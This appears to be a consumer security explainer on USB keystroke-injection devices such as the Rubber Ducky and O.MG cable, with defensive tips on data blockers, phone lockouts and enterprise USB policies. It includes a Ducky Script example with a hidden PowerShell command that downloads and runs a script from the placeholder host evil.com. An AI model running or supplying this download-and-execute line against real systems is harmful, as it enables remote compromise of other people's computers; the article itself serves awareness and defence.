Key Takeaways

  • The Trick: Computers trust keyboards implicitly. If you plug in a specific USB device (like a Rubber Ducky), the computer thinks "Oh, a keyboard!" and accepts all input.
  • The Attack: The device types 15,000 words per minute. It can open a terminal, download a virus, and execute it in under 3 seconds.
  • The Defense: Never plug in random USBs found on the street (The "Parking Lot Attack"). Use USB Data Blockers (USB Condoms) when charging.

In "Mr. Robot," Darlene drops USB sticks in a parking lot to hack a prison. This is a real attack. It relies on curiosity.

The USB Rubber Ducky

Created by Hak5, this device looks like a standard flash drive. But it has a small CPU inside. You write a script in "Ducky Script" language:

DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
ENTER

When plugged in, it waits 1 second, presses Windows+R (Run), types that long PowerShell command, and hits Enter. You are hacked.

How to protect yourself

1. USB Condoms

A small adapter that physically cuts the Data pins of a USB cable, leaving only the Power pins. Use this when charging your phone at airports.

2. Restricted Mode (iOS/Android)

Modern phones disable the USB data connection if the phone has been locked for more than an hour involving a password to re-enable it.

3. Admin Policies (Enterprise)

Companies use software like endpoint protection to disable USB Mass Storage entirely.

The O.MG Cable

An even scarier evolution. It looks like a normal iPhone Lightning cable. But it has a Wi-Fi chip inside. A hacker can sit in the parking lot and control your computer remotely while you charge your phone.

Frequently Asked Questions (FAQ)

Can Antivirus stop it?
Maybe. The antivirus might catch the payload (the virus downloaded), but it cannot stop the keystrokes. The computer thinks YOU are typing them.
Are cheap USB sticks dangerous?
Sometimes. They might come pre-loaded with malware from the factory. Stick to brands like SanDisk or Samsung.

Meet the multi-tool for hackers.
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